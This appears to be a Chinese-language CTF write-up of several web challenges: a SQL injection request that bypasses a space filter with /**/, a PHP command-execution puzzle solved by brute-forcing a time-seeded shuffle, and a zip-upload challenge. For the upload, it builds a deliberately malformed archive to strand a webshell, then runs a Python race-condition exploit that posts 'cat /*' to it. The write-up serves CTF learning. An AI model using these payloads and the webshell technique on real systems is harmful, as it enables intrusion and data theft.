最简单的一道,可以直接sqlmap一把梭,仅仅是ban掉了 空格,用 /**/
代替即可
flag在 emails 表里
GET /search.php?id=-1/**/union/**/select/**/1,version(),group_concat(email_id)/**/from/**/emails%23&search=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 1.14.97.218:23504
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.97.218:23504/search.php?id=1%27+or+1%3D1%2523&search=%E6%9F%A5%E8%AF%A2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3934571967
Connection: close
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);
shuffle
函数打乱数组是伪随机的,本地启个环境把时间戳种子提前几秒找到对应的下标,后续进行爆破即可
另外两道逆天的题没做出来,赛后复现
黑盒测试发现只能上传 .zip
和 .rar
文件,而且无任何回显,搁着猜谜呢
扫目录扫出来 .upload.php.swo
谁家的字典这么好用啊😓
得到 upload.php 的源码
<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
try {
$zip->open($file_path);
$zip->extractTo($random_path);
$zip->close();
}catch (Throwable $e){
$zip->close();
rename($random_path,"error/".md5(time()));
}
}
system("rm -rf error/*");
system("rm -rf upload/*");
上传 .zip
文件后会在 upload
目录下创建一个 随机目录, zip文件放在这个随机目录里,且文件名也是随机的,之后会将这个 .zip
文件解压到 upload
下的随机目录中,所以想要直接访问解压后的文件不太现实。注意到程序进行了异常捕获,解压出错时会重命名 upload
目录及下面的目录名称(文件名没变),改为了 error/md5(time())
。
所以现在就需要构造一个会让 ZipArchive
出现异常的压缩包,把文件解压缩到 error/md5(time())
这个确定的目录下,然后条件竞争访问即可。
怎么构造这样的压缩包呢,这里我直接用p神的原话了:
https://wx.zsxq.com/dweb2/index/topic_detail/818248224188122
怎么制造一个只能解压一半的压缩包(即解压到一半出错的)? 这个问题其实需要看具体情况,看解压的那个程序的容忍程度。因为finecms这个例子太久远了,我也懒得找那么久远的代码来复现,我这里就以两个解压的程序作为例子:
7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。 如何修改压缩包里文件的CRC校验码呢?可以使用010editor。我们先准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。 然后我们用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,如图1。
我们打开第4部分,其中有个deCrc,我们随便把值改成其他的值,然后保存,图2。
此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件,如图3。
我们再用PHP自带的ZipArchive库(代码如图4)
测试这个zip,发现解压并没有出错,这也说明ZipArchive的容忍度比较高。 那么我们又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。 比如,Windows下不允许文件名中包含冒号(:
),我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:
”,如图5。
此时解压就会出错,但1.php被保留了下来,如图6。
在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////),如图7
此时Linux下解压也会出错,但1.php被保留了下来,如图8。
按上述方法准备一个 shell.php
和 1.txt
,将他们一起压缩,然后用010edit修改这个压缩包里 1.txt
的 deFileName
为 5个斜杠 /////
保存上传然后条件竞争访问
这里因为题目环境无了,也不知道是php版本的我呢提还是啥的,打不出来错误,只有警告,后面自己魔改了下,把try catch改为了if 判断,解压失败会返回 false
,一个意思,不影响思路。
<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
$zip->open($file_path);
$res = $zip->extractTo($random_path);
if($res) { //改为了if判断是否解压成功
$zip->close();
}else {
$zip->close();
rename($random_path,"error/".md5(time()));
}
}
system("rm -rf error/*");
system("rm -rf upload/*");
打条件竞争拿道flag,exp
import requests
import hashlib
import threading
import time
url = 'http://localhost'
def upload():
requests.post(f"{url}/upload.php", files={'file': open('exp.zip', 'rb')})
dir = hashlib.md5(str(int(time.time())).encode()).hexdigest()
response = requests.post(f"{url}/error/{dir}/shell.php", data={'cmd': "system('cat /*');"})
if response.status_code == 200:
print(response.text)
exit(0)
if __name__ == '__main__':
while True:
a = threading.Thread(target=upload)
b = threading.Thread(target=upload)
a.start()
b.start()
这题基本上都卡第一不了,这是misc题吗?破题😅
这个压缩包的知识点